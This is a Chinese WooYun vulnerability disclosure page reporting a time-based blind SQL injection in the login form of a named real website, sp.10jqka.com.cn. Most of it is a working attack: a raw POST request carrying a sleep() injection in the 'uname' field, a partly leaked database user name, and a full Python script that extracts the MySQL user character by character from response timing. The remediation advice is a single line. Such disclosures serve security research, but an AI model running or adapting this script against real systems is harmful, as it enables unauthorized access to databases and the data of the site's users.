当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113311

漏洞标题:同花顺另一站点MySQL盲注(附验证脚本)

相关厂商:同花顺

漏洞作者: 路人甲

提交时间:2015-05-10 22:09

修复时间:2015-05-15 22:10

公开时间:2015-05-15 22:10

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-10: 细节已通知厂商并且等待厂商处理中
2015-05-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

同花顺另一站点MySQL盲注,附验证python脚本

详细说明:

注入点:

POST /admin/login/loginin/ HTTP/1.1
Content-Length: 209
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sp.10jqka.com.cn
Cookie: PHPSESSID=r8amm8a5a12niddomlolmm4u42
Host: sp.10jqka.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*
passwd=test&redir=http://sp.10jqka.com.cn/admin/index/index/&uname=aaa'XOR(if(length(user())=26%2csleep(6)%2c0))OR'bbb


参数uname可注入,MySQL time blind.

漏洞证明:

验证猜解user():

db_sp_master@192.168.*


10jqka.mysqli.png


python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': 'PHPSESSID=no3cqgee47g08ghhcqjo0a5ne7',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'start to retrive MySQL user:'
user = ''
for i in range(1,27,1):
for payload in payloads:
try:
conn = httplib.HTTPConnection('sp.10jqka.com.cn', timeout=4)
s = "if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(4),0)" % (i, ord(payload))
conn.request(method='POST',
url='/admin/login/loginin/',
body = "passwd=test&redir=http://sp.10jqka.com.cn/admin/index/index/&uname=aaa'XOR(%s)OR'bbbb" % urllib.quote(s),
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user
break
print '\n[Done] MySQL user is', user

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-05-15 22:10

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

2015-08-05:已修复。